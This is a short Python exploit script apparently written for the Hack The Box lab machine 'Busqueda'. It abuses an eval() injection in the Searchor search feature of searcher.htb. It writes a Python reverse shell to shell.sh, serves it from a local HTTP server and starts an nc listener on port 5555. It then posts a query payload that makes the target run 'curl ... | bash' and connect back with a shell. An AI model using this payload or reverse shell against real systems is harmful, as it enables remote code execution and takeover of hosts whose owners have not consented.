Busqueda.py

import requests
import threading
import os
from time import sleep

LHOST = '10.10.16.21'
"""
vulnerable lines:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
"""
url = 'http://searcher.htb/search'
header = {
'Content-Type': 'application/x-www-form-urlencoded'
}
bash = """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.21",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'"""
print('[!] Writting local bash shell.')

def server(null):
  print('[!] Starting Python HTTP Server.')
  os.system('python3 -m http.server 80')

def nc(null):
  print('[!] Starting nc -nlvp 5555.')
  os.system('nc -nlvp 5555')

with open("shell.sh", "wt") as f:
  f.write(bash)
  f.close()

server_thread = threading.Thread(target=server, args=('',))
server_thread.start()
sleep(1)

nc_thread = threading.Thread(target=nc, args=('',))
nc_thread.start()

query = "id',searchor.history.os.system('curl http://{lhost}/shell.sh | bash'))#".format(lhost=LHOST)
data = "engine=Accuweather&query={query}".format(query=query)

print('[!] Sending payload.')
requests.post(url=url, headers=header, data=data + query)
nc_thread.join()